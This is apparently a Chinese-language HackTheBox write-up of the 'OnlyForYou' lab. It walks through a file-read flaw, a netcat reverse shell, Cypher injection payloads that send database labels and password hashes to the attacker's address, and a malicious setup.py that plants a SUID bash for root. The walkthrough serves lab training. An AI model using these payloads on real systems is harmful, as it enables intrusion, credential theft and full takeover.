HackTheBox - Medium - Linux - OnlyForYou

OnlyForYou

OnlyForYou 是一台中等难度的 Linux 计算机,其特点是 Web 应用程序容易受到本地文件包含 (LFI) 的影响,该应用程序用于访问源代码,从而揭示盲目命令注入漏洞,从而导致目标系统上的 shell。该计算机运行多个本地服务,其中一个使用默认凭据,并公开易受"Cypher"注入攻击的端点。利用此漏洞会泄漏"Neo4j"数据库中的哈希值,从而授予对计算机的"SSH"访问权限。最后,配置错误的"sudoers"文件允许以"root"权限运行"pip3 download"命令。权限提升是通过在本地"Gogs"服务上创建和托管恶意"Python"包并下载来实现的。


外部信息收集

端口扫描

循例nmap

Web枚举

ffuf扫vhost

有一个beta

beta子域

在这里的Source code可以下载zip

zip是beta的站点源码

任意文件读取
python3 复制代码
@app.route('/download', methods=['POST'])
def download():
    image = request.form['image']
    filename = posixpath.normpath(image) 
    if '..' in filename or filename.startswith('../'):
        flash('Hacking detected!', 'danger')
        return redirect('/list')
    if not os.path.isabs(filename):
        filename = os.path.join(app.config['LIST_FOLDER'], filename)
    try:
        if not os.path.isfile(filename):
            flash('Image doesn\'t exist!', 'danger')
            return redirect('/list')
    except (TypeError, ValueError):
        raise BadRequest()
    return send_file(filename, as_attachment=True)

在app.py中,/download的实现很明显存在任意文件读取,原因是虽然对filename做了过滤"..."以防止目录遍历,但由于os.path.join的特性,这个函数如果遇到绝对路径,则会直接返回这个绝对路径,从而忽略掉app.config['LIST_FOLDER'],所以我们可以不需要.../也可以实现目录遍历

读nginx配置文件

Foldhold - RCE

知道路径后,读主站的app.py

发现那个表单其实是会被处理的,通过import我们可以得知参数被传入了另一个模块里的函数处理

复制代码
from form import sendmessage

读form.py

很明显,常规command injection,但是是盲的。

尝试通过nc连接攻击机,可行

常规reverse shell payload

复制代码
mkfifo+/tmp/f1%3bnc+10.10.14.18+8888+<+/tmp/f1+|+/bin/bash+>+/tmp/f1

内部信息收集

ss -tlnp发现好几个端口

传个chisel过去,攻击机开启server

目标机器连接过来,反向socks

火狐插件

3000端口 - Gogs

8001端口

看见是一个简陋的登录框,弱口令就登进去了

复制代码
admin:admin

在dashboard中可以看到它使用neo4j

本地横向移动 -> john

在Employee可以搜索,但是这里存在注入

查表

复制代码
a' CALL db.labels() YIELD label AS d LOAD CSV FROM 'http://10.10.14.18:8000/'+d AS y RETURN y//

获取key的属性

复制代码
a' OR 1=1 WITH 1 as a MATCH (f:user) UNWIND keys(f) as p LOAD CSV FROM 'http://10.10.14.18:8000/?' + p +'='+toString(f[p]) as l RETURN 0 as _0 //
shell 复制代码
10.10.11.210 - - [26/Dec/2023 18:21:02] "GET /?password=8c6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918 HTTP/1.1" 200 -
10.10.11.210 - - [26/Dec/2023 18:21:03] "GET /?username=admin HTTP/1.1" 200 -
10.10.11.210 - - [26/Dec/2023 18:21:04] "GET /?password=a85e870c05825afeac63215d5e845aa7f3088cd15359ea88fa4061c6411c55f6 HTTP/1.1" 200 -
10.10.11.210 - - [26/Dec/2023 18:21:04] "GET /?username=john HTTP/1.1" 200 -

爆john的密码,CrackStation出了明文密码

使用这组凭据我们能够通过ssh登录john

拿到user flag

本地权限提升

sudo -l

这里会从gogs中下载pip包,pip download也会执行setup.py

回到3000端口,使用john的凭据登录,我们可以看到这里有个存储库

打法很简单,我们制作恶意pip包,然后上传到gogs存储库中,从而允许我们sudo pip下载恶意pip包从而提权

创建个文件夹,setup.py:

python3 复制代码
import os

os.system('cp /bin/bash /tmp/bash;chmod +s /tmp/bash')


from setuptools import setup, find_packages
import sys

setup(
    name="packer",
    version="0.1.0",
    author="",
    author_email="",
    description="Python Framework.",
    license="MIT",
    url="",
    packages=find_packages(),
    include_package_data=True,
    classifiers=[
        "Environment :: Web Environment",
        'Intended Audience :: Developers',
        'License :: OSI Approved :: MIT License',
        'Natural Language :: Chinese',
        'Operating System :: MacOS',
        'Operating System :: Microsoft',
        'Operating System :: POSIX',
        'Operating System :: Unix',
        'Topic :: NLP',
        'Topic :: Software Development :: Libraries :: Python Modules',
        'Programming Language :: Python :: 3.5',
        'Programming Language :: Python :: 3.6',
    ],
    zip_safe=True,
)

然后运行setup.py创建tar.gz包

然后在存储库中上传文件

上传文件且提交后,得到的url是

复制代码
http://127.0.0.1:3000/john/Test/raw/master/packer-0.1.0.tar.gz

此外还需要做一件事就是将该存储库设为公开,否则因为它是私有的导致无权访问

这一切搞定之后,直接sudo

root flag还在老地方

相关推荐
IP管家38 分钟前
跨境支付风控失效?用代理 IP 构建「地域 - 设备 - 行为」三维防护网
网络·网络协议·tcp/ip·网络安全
Alfadi联盟 萧瑶6 小时前
工具环境与系统部署
网络安全
Coding Happily6 小时前
bitbar环境搭建(ruby 2.4 + rails 5.0.2)
网络安全·ruby·环境搭建·rails·大作业·bitbar
2501_9159184110 小时前
多技术栈 iOS 项目的性能调试实战:从 Flutter 到 Unity(含 KeyMob 工具实测)
websocket·网络协议·tcp/ip·http·网络安全·https·udp
学术小白人11 小时前
2025年通信系统与智能计算国际学术会议(CSIC2025)
网络安全·机器人·通信系统·网络构架·无线与移动通信
68岁扶墙肾透12 小时前
Java安全-Servlet内存马
java·安全·web安全·网络安全·系统安全·网络攻击模型
独行soc19 小时前
2025年渗透测试面试题总结-快手[实习]安全工程师(题目+回答)
linux·安全·web安全·网络安全·面试·职场和发展·渗透测试
Code blocks20 小时前
百度OCR:证件识别
java·ocr·springboot·web
ALe要立志成为web糕手20 小时前
php://filter的trick
安全·web安全·网络安全·php·ctf
Johny_Zhao20 小时前
VMware Workstation 部署企业级 AD 域、DNS、DHCP 系统操作指南
网络·人工智能·网络安全·信息安全·云计算·ad·dns·dhcp·系统运维·itsm